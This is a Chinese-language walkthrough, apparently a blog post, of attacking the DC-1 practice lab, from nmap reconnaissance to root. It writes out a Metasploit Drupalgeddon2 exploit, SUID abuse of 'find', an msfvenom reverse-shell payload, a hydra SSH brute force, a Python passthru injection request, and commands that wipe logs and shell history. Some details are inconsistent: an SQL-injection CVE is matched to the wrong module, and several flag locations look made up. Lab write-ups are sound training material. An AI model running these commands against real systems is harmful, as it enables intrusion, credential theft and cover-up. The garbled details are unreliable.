ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

DC-1靶机渗透实战:从SQL注入到提权完整指南

DC-1靶机渗透实战:从SQL注入到提权完整指南

1. DC-1靶机渗透实战概述

DC-1是一款专为渗透测试学习者设计的虚拟靶机环境,内置了4个需要获取的flag标志。这个靶机模拟了典型的Web应用漏洞场景,涉及SQL注入、文件包含、权限提升等多个常见漏洞类型。作为渗透测试入门者,通过实战攻克DC-1可以系统掌握从信息收集到最终提权的完整渗透流程。

我首次接触DC-1时花了近8小时才完成全部flag的获取,期间踩遍了所有能踩的坑。现在回头看,其实只要掌握正确的方法论,2小时内就能完成整个渗透过程。本文将分享我总结的高效渗透路线,特别适合刚学完Kali Linux基础工具的新手实践。

2. 环境准备与网络配置

2.1 靶机与攻击机部署

推荐使用VirtualBox或VMware部署环境:

  • 攻击机:Kali Linux 2023.4(已预装所有必要工具)
  • 靶机:下载DC-1.ova文件导入即可

网络配置关键点:

# 查看Kali IP ifconfig eth0 # 扫描同网段设备 nmap -sn 192.168.56.0/24

注意:务必确保两台虚拟机处于同一网络模式(推荐NAT或Host-Only)。我最初使用桥接模式导致扫描不到靶机,浪费了1小时排查。

2.2 基础工具检查

确保以下工具可用:

# 基础扫描工具 which nmap # 渗透框架 msfconsole --version # Web漏洞扫描 dirb --help

3. 信息收集阶段实战

3.1 主机发现与端口扫描

首先用Nmap进行基础扫描:

nmap -sV -A -T4 192.168.56.102

典型扫描结果会显示:

  • 22/tcp: OpenSSH 6.7p1
  • 80/tcp: Apache httpd 2.4.10
  • 111/tcp: rpcbind

技巧:遇到扫描速度慢时,添加-Pn参数跳过主机发现,或使用--min-rate 500控制发包速率。

3.2 Web应用指纹识别

访问靶机IP的80端口,使用Wappalyzer或手动检查:

curl -I http://192.168.56.102

关键发现:

  • CMS: Drupal 7
  • Server: Apache/2.4.10 (Debian)

4. 漏洞利用与权限获取

4.1 Drupal CMS漏洞利用

搜索已知漏洞:

searchsploit drupal 7

发现Drupal 7的SQL注入漏洞(CVE-2014-3704),使用MSF模块:

msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 exploit

成功后会获得Meterpreter会话,第一个flag通常在/var/www目录下。

4.2 权限提升路径

获取初始shell后,查找SUID文件:

find / -perm -4000 2>/dev/null

发现/usr/bin/find有SUID位,利用它提权:

touch /tmp/root /usr/bin/find /tmp/root -exec whoami \;

踩坑记录:早期版本需要先执行nc -lvp 4444监听,新版可直接获取root shell。

5. Flag获取全流程

5.1 Flag1:Web目录

路径:/var/www/flag1.txt 内容:通常包含提示信息,指引下一步方向

5.2 Flag2:数据库凭证

通过Drupal的settings.php文件获取数据库密码:

cat /var/www/sites/default/settings.php

登录MySQL查找flag:

mysql -udbuser -pR0ck3t use drupaldb; select * from flag_table;

5.3 Flag3:计划任务

检查crontab发现备份脚本:

cat /etc/crontab

跟踪脚本执行路径找到flag3。

5.4 Flag4:root目录

最终flag在/root目录下,需要完整提权后才能获取。

6. 渗透后的痕迹清理

6.1 日志清除

# Apache日志 echo "" > /var/log/apache2/access.log # 历史命令 history -c

6.2 后门删除

检查可能创建的账户:

cat /etc/passwd

删除添加的SSH密钥:

rm -f /root/.ssh/authorized_keys

7. 常见问题解决方案

7.1 Meterpreter会话不稳定

解决方法:

# 生成持久化后门 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf > shell.elf # 靶机执行 chmod +x shell.elf ./shell.elf

7.2 扫描不到开放端口

可能原因:

  • 防火墙阻止
  • 靶机未正常启动

检查命令:

# 靶机检查服务状态 systemctl status apache2 # 检查防火墙 iptables -L

7.3 提权失败处理

备选方案:

# 内核漏洞检查 uname -a searchsploit linux kernel 3.2 # 密码爆破 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102

8. 渗透测试技能进阶建议

  1. 自动化工具链配置:
# 安装自动化扫描工具 apt install autorecon # 运行全自动扫描 autorecon 192.168.56.102
  1. 编写自定义漏洞检测脚本:
#!/usr/bin/env python import requests target = "http://192.168.56.102" response = requests.get(target + "/?q=user/password&name[#post_render][]=passthru&name[#markup]=id") print(response.text)
  1. 参与CTF实战:
  • VulnHub更多靶机下载
  • Hack The Box在线平台
  • CTFtime赛事日历

整个渗透过程中最关键的体会是:信息收集阶段的质量直接决定后续成功率。我曾在漏洞利用环节卡壳3小时,后来发现只是因为漏扫了一个关键端口。建议新手严格按照OSCP方法论执行每个步骤,并做好详细记录。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进